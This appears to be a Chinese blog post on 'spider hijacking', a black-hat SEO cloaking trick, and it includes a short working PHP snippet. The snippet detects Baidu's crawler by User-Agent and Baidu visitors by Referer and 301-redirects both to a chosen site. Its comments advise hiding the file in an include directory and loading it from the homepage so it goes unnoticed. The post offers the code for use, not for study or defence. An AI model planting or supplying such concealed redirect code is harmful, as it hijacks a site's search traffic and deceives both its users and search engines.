蜘蛛劫持

Posted gzpu

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了蜘蛛劫持相关的知识,希望对你有一定的参考价值。

蜘蛛劫持以及原理
蜘蛛劫持就是黑帽SEOer通过各种非正常手段,劫持搜索引擎蜘蛛(如:百度蜘蛛),其表现为:百度快照是一个页面,用户点击进入网站后 看到的是另一个页面。

劫持原理:通常由代码获取用户头信息来检测访客身份,从而给出针对蜘蛛和用户两个完全不同的页面版本!

 

################################################ 
# 可以把本文件放在类似inc、include这样的目录中 # 
# 首页require_once(本文件路径);就可以了 # 
# 这样会比较隐蔽 # 
################################################ 
$url = "http://www.myweb.com";  //你的网站
if(strpos(strtolower($_SERVER[HTTP_USER_AGENT]),baiduspider) !== false ) 
{ 
    //判断搜索引擎,这里是百度,可以自行添加蜘蛛 
    
    //这是301跳转,301主要针对搜索引擎,如果你想告诉搜索引擎这个页面已经更换URL了的话... 
    Header("HTTP/1.1 301 Moved Permanently"); 
    Header("Location: $url"); 
    
    /* 
    $file = file_get_contents($url); 
    echo $file;//输出指定文件内容 
    exit; */ 
} 
//判断来路 
if(stristr ($_SERVER[HTTP_REFERER],"baidu.com")) 
{
    //如果用户来自baidu.com 
    Header("HTTP/1.1 301 Moved Permanently"); 
    Header("Location: $url");//跳转 
    exit; 
} 

 

以上是关于蜘蛛劫持的主要内容,如果未能解决你的问题,请参考以下文章

防运营商劫持代码

20201010做个搜索引擎——网页蜘蛛代码编写

解读IIS日志中搜索引擎蜘蛛名称代码及爬寻返回代码

Scrapy Spider没有返回所有元素

搜索引擎返回劫持代码使用方法

如何在我的 Scrapy 蜘蛛代码中使用项目加载器?